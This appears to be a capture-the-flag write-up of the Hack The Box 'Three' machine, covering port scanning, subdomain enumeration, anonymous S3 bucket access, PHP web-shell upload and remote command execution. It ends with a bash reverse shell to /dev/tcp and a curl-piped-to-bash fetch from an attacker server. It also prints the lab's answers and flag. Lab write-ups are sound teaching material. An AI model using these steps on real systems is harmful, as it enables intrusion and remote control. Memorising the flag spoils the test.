> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-starting-point/three.md).
# Three (Tier 1)
## Description
* **Tier ****->**** 1**
* **Difficult** **->** Very Easy
* **OS** **->** Linux
* **Tags ****->** Cloud / Custom Applications / AWS / Reconnaissance / Web Site Structure Discovery\
/ Bucket Enumeration / Arbitrary File Upload / Anonymous-Guest Access
## Write-up
* I started doing an initial scan using [*Nmap*](/hacking-knowledge/networks/tools-and-utilities.md#nmap)
nmap -p- -Pn --min-rate 2000 10.129.246.158
***
* With this, I answered the first question
> Answer: ***2***
***
* Then I did an exhaustive scan to know more about the services running on the open ports
{% code lineNumbers="true" %}
```basic
nmap -p22,80 -sVC 10.129.246.158
```
{% endcode %}
***
* As I found the HTTP protocol running on port 80, I went to the browser to check the deployed content. I found what seemed to be a contact page for a band. Navigating through the site, I didn't find anything relevant apart from an email in the *Contact* section with a curious domain
{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks/protocols/http.md)
{% endhint %}
***
* With this and a little research, I answered the next questions
> Answer: ***thetoppers.htb***
***
> Answer: ***/etc/hosts***
***
* As this domain could be relevant, I added it to the known hosts by editing the */etc/hosts* file. Not getting anything relevant from the web page, I tried using the [*Gobuster*](/hacking-knowledge/web-exploitation/tools-and-utilities.md#gobuster) tool to fuzz the page and find any possible hidden routes. In this case, I enumerated the found domain to check if there were any related subdomains. With that, I found the subdomain *s3.thetoppers.htb* existed, and with a little research, I learned it was related to a cloud database on the *Amazon* servers
{% code overflow="wrap" lineNumbers="true" %}
```bash
echo "10.129.246.158 thetoppers.htb" | sudo tee -a /etc/hosts
gobuster vhost -u http://thetoppers.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
```
{% endcode %}
***
* With this information and a little research about *Amazon* services, I answered the next questions
> Answer: ***s3.thetoppers.htb***
***
> Answer: ***Amazon S3***
***
> Answer: ***awscli***
***
> Answer: ***aws configure***
***
> Answer: ***aws s3 ls***
***
* I also added the discovered subdomain to the known hosts to work properly with it
{% code lineNumbers="true" %}
```bash
echo "10.129.246.158 s3.thetoppers.htb" | sudo tee -a /etc/hosts
```
{% endcode %}
***
* So knowing this was an [*AWS*](https://aws.amazon.com/es/) service, I tried to connect to it using the [*awscli*](/hacking-knowledge/database-attacks/tools-and-utilities.md#awscli) utility. First, I configured the tool, in this case, indicating a temporary connection with the *temp* value. With this done, I tried to list the *S3* instances and found one named *thetoppers.htb.* Then I listed the elements inside it and found an *index.php* file, which could be the source code of the web page
{% code overflow="wrap" lineNumbers="true" %}
```bash
aws configure
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
```
{% endcode %}
{% hint style="info" %}
The *temp* value is the default credentials for AWS connections if everything is avoided
{% endhint %}
***
* With this, I answered the next question
> Answer: ***PHP***
***
* Then, as I had a connection to the S3 instance, I tried to upload a custom file to the bucket in an attempt to gain RCE. To do so, I created a *Shell.php* file with a proper payload to spawn a shell on the machine and execute a command. Then I uploaded it and checked if it had worked by listing the contents of the bucket again
{% code lineNumbers="true" %}
```bash
sudo nano Shell.php
```
{% endcode %}
{% code title="Shell.php" lineNumbers="true" %}
```php
```
{% endcode %}
{% code overflow="wrap" lineNumbers="true" %}
```bash
aws --endpoint=http://s3.thetoppers.htb s3 cp Shell.php s3://thetoppers.htb
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
```
{% endcode %}
***
* After that, I accessed the bucket direction from the browser and tried to send a command using the *cmd* parameter as set on the payload. I saw the server executed it properly and confirmed I have gained RCE
{% code overflow="wrap" lineNumbers="true" %}
```bash
http://thetoppers.htb/Shell.php?cmd=id
```
{% endcode %}
***
* With this, I could explore the filesystem arbitrarily. After some searching, I decided to check the */var/www* folder, which is usually the default for the server files, and there I found a *flag.txt* file. Finally, retrieved the content of the file and got the flag
{% code overflow="wrap" lineNumbers="true" %}
```bash
http://thetoppers.htb/Shell.php?cmd=ls /var/www
http://thetoppers.htb/Shell.php?cmd=cat /var/www/flag.txt
```
{% endcode %}
***
* With this, I got the root flag and pwned the machine
> Answer: ***a980d99281a28d638ac68b9bf9453c2b***
## Alternative Reverse Shell
Instead of abusing the RCE directly on the browser, I tried to get a Reverse Shell on the machine
* First, I created a simple bash script to send the shell connection to my machine
{% code lineNumbers="true" %}
```bash
sudo nano shell.sh
```
{% endcode %}
{% code title="shell.sh" lineNumbers="true" %}
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.195/1234 0>&1
#I used my IP on the VPN and an arbitrary port
```
{% endcode %}
***
* Then I established a [*Netcat*](/hacking-knowledge/networks/tools-and-utilities.md#netcat) listener on the arbitrary port chosen above
{% code lineNumbers="true" %}
```sh
nc -nvlp 1234
```
{% endcode %}
***
* After this, in another terminal, I established an HTTP server in the same folder where the *shell.sh* script was using *Python*, and setting another arbitrary port for the server
{% code lineNumbers="true" %}
```bash
python -m http.server 4444
```
{% endcode %}
***
* I used the RCE to send the shell from the target to my machine using the `curl` command. I observed the page remained loading, and checking the *Python* server received the petition
{% code overflow="wrap" lineNumbers="true" %}
```bash
http://thetoppers.htb/Shell.php?cmd=curl%2010.10.14.195:4444/shell.sh|bash
```
{% endcode %}
***
* Finally, I checked the *Netcat* listener and saw that I had gained the target shell. With that, I could interact with the system more comfortably